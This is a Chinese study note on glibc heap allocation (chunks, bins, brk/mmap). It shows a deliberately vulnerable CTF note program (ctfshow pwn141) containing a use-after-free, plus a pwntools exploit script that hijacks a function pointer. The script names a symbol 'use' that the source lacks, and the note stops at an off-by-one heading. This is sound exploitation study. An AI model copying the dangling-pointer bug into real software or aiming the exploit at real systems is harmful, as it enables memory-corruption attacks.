什么是堆？

在程序运行过程中，堆可以提供动态分配内存，允许程序申请大小未定的内存。其实就是程序虚拟空间的一块连续的线性区域，它由低地址向高地址生长，并称管理堆的程序为：堆管理器。

堆管理器主要进行的工作：

响应用户的申请内存请求，向操作系统申请内存，并将其返回给用户程序。为了保持用户程序的高效性，内核一般都会分配一块很大的连续内存，让堆管理器通过某种算法对其进行管理。只有当堆空间不足时，才会与操作系统进行再次交互
管理用户释放的内存，用户释放的内存并不是直接返回给操作系统，而是由堆管理器进行管理，这样释放的内存可以来响应用户新申请的内存的请求

目前Linux标准发行版中使用的堆分配器是glibc中的堆分配器：ptmalloc2。ptmalloc2主要是通过malloc/free来分配和释放内存块。

Glibc堆管理机制基础

常见的内存管理机制

dlmalloc：通用分配器
ptmalloc2：glibc分配器，继承自dlmalloc，并提供了多线程支持，主要研究对象。
jemalloc：
tcmalloc：
其他：

malloc工作机制

第一次调用malloc

内存分配机制

头文件:#include<ubistd.h>

brk()

函数原型：int brk(void* end_data_segment)
功能和作用：用于设置program_break指向的位置。

sbrk()

函数原型：void* sbrk(intptr_t increment)
功能和作用：同brk()，参数可以是负数。执行成功返回上一次program_break的值，可以设置参数为0返回当前的program_break.

mmap()

功能和作用：当用户申请空间大于等于128kb，也就是0x20000字节时，不再使用brk()进行分配，改为使用mmap()。

unmmap()

功能和作用：堆mmap()申请的空间进行回收。

第二次调用malloc

只要分配的空间不超过128kb，则不会再次向system申请空间，超过时才会调用brk()进行扩展。
即使将main_arena全部free，也不会立即把内存还给操作系统，此时内存由glib进行管理。

chunk

chunk是glibc管理内存的基本单元。主要分为以下几类：

alloced chunk：已分配正在使用中的chunk。
free chunk：已经free的chunk。
top chunk：可以理解为地址的最高处，还没有分配的chunk。
last remainder chunk：是为了提高内存分配的局部性。

chunk = chunk header + user data，malloc返回给用户的其实是user data指针，具体如下图：

alloced chunk

size：本chunk的大小，包括prev，大小为8的整数倍。32位以8字节对齐，最小为0x10。64位以16字节对齐，最小为0x20。其中低三位有特殊含义，分别为N、M、P
N位：是否属于主进程。
M位：是否由mmap()分配。
P位：前一堆块占用标志，1为占用，0为空闲。
当P位为0时，表示前一堆块释放，prev表示前一堆块的大小。当P位为1，表示前一堆块使用，prev表示前一堆块的数据。
userdata为输入的数据。
将下一堆块的P位设置为1

free chunk

其中fd、bk属于链表指针，有特殊用途，后面会讲到。
prev_size为当前释放块的大小（包含chunk header）
下一堆块P位通常被设置为0（fastbin除外）。

top chcunk

该堆块位于前两种堆块之后，头部结构与alloced相似
size：top chunk还有多少空间可以分配。
重要的是P位：0表示上一堆块处于空闲，1表示上一堆块处于使用状态。主要用于判断free时是否能与上一堆块进行合并（fastbin除外）。

last remainder chunk

在malloc时，如果有比较大的chunk可以分配，会把这个chunk分成两部分，一部分返回给用户，另一部分称为remainder，加入到 unsorted bin，last remainder会记录最近拆分的remainder。这个remainder大小至少要为MINSIZE，否则不能拆分。
当下次malloc时，如果last remainder chunk够大，则重复上一过程。
拆分的情况：fast bin 和 small bin 都没有合适的chunk，同时unsorted bin有且只有一个可拆分的chunk，并且这个chunk 是last remainder。

堆空闲块管理结构bin

当alloced chunk被释放后，会根据大小放入bin或者合并到top chunk 中去。bin的主要作用时加快分配速度，通过链表方式（chunk中的fd和bk指针）进行管理。主要有以下几种，顾名思义：

fast bin
unsorted bin
small bin
large bin

fastbinsY：这是一个bin数组，里面有NFASTBINS个fast bin

bins：也是一个bin数组，一共有126个bin，按顺序分别是：

bin 1 为unsorted bin
bin 2 到 bin 63 为small bin
bin 64 到 bin 126 为 large bin

fast bin

这类bin通常申请和释放的堆块都比较小，所以使用单链表结构，LIFO（后进先出）分配策略。
为了速度，fast bin不会进行合并，下一个chunk始终处于使用状态。
在fastbinsY数组里按照从小到大的顺序排列。
以64位为例，fast bin结构如下（大小区间0x200x80,32位为0x100x40）：

堆漏洞

UAF漏洞

uaf漏洞通常就是内存块被释放后，其对应的指针没有被置为NULL，然后在下一次使用前，有相应的代码对这块内存进行了修改，当程序再次使用相同的内存空间的时候，我们就能覆盖原来的地址，从而返回我们想要执行的函数的地址。
我们通常称释放后没有被置为NULL 指针为dangling pointer。

参考题目：ctfshow-pwn141

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

struct note {
  void (*printnote)();
  char *content;
};

struct note *notelist[5];
int count = 0;

void print_note_content(struct note *this) { puts(this->content); }
void add_note() {
  int i;
  char buf[8];
  int size;
  if (count > 5) {
    puts("Full");
    return;
  }
  for (i = 0; i < 5; i++) {
    if (!notelist[i]) {
      notelist[i] = (struct note *)malloc(sizeof(struct note));
      if (!notelist[i]) {
        puts("Alloca Error");
        exit(-1);
      }
      notelist[i]->printnote = print_note_content;
      printf("Note size :");
      read(0, buf, 8);
      size = atoi(buf);
      notelist[i]->content = (char *)malloc(size);
      if (!notelist[i]->content) {
        puts("Alloca Error");
        exit(-1);
      }
      printf("Content :");
      read(0, notelist[i]->content, size);
      puts("Success !");
      count++;
      break;
    }
  }
}

void del_note() {
  char buf[4];
  int idx;
  printf("Index :");
  read(0, buf, 4);
  idx = atoi(buf);
  if (idx < 0 || idx >= count) {
    puts("Out of bound!");
    _exit(0);
  }
  if (notelist[idx]) {
    free(notelist[idx]->content);
    free(notelist[idx]);
    puts("Success");
  }
}

void print_note() {
  char buf[4];
  int idx;
  printf("Index :");
  read(0, buf, 4);
  idx = atoi(buf);
  if (idx < 0 || idx >= count) {
    puts("Out of bound!");
    _exit(0);
  }
  if (notelist[idx]) {
    notelist[idx]->printnote(notelist[idx]);
  }
}

void magic() { system("cat flag"); }

void menu() {
  puts("----------------------");
  puts("       HackNote       ");
  puts("----------------------");
  puts(" 1. Add note          ");
  puts(" 2. Delete note       ");
  puts(" 3. Print note        ");
  puts(" 4. Exit              ");
  puts("----------------------");
  printf("Your choice :");
};

int main() {
  setvbuf(stdout, 0, 2, 0);
  setvbuf(stdin, 0, 2, 0);
  char buf[4];
  while (1) {
    menu();
    read(0, buf, 4);
    switch (atoi(buf)) {
    case 1:
      add_note();
      break;
    case 2:
      del_note();
      break;
    case 3:
      print_note();
      break;
    case 4:
      exit(0);
      break;
    default:
      puts("Invalid choice");
      break;
    }
  }
  return 0;
}

漏洞点：

if (notelist[idx]) {
  free(notelist[idx]->content);
  free(notelist[idx]);
  // *(&notelist + v1) = NULL; // 避免UAF
  puts("Success");
}

先简单写一下，后面再详细补

from pwn import *
context(arch = 'i386',os = 'linux',log_level = 'debug')
io = process('./pwn')
#io = remote('pwn.challenge.ctf.show',28234)
elf = ELF('./pwn')
use = elf.sym['use']
def add(size, content):
	io.recvuntil("choice :")
	io.sendline("1")
	io.recvuntil(":")
	io.sendline(str(size))
	io.recvuntil(":")
	io.sendline(content)
def delete(idx):
	io.recvuntil("choice :")
	io.sendline("2")
	io.recvuntil(":")
	io.sendline(str(idx))
def show(idx):
	io.recvuntil("choice :")
	io.sendline("3")
	io.recvuntil(":")
	io.sendline(str(idx))
	
add(32, "aaaa")
add(32, "bbbb")
delete(0)
delete(1)
add(8, p32(use))
show(0)
io.interactive()

off-by-one漏洞

题目：pwn142

堆的前置知识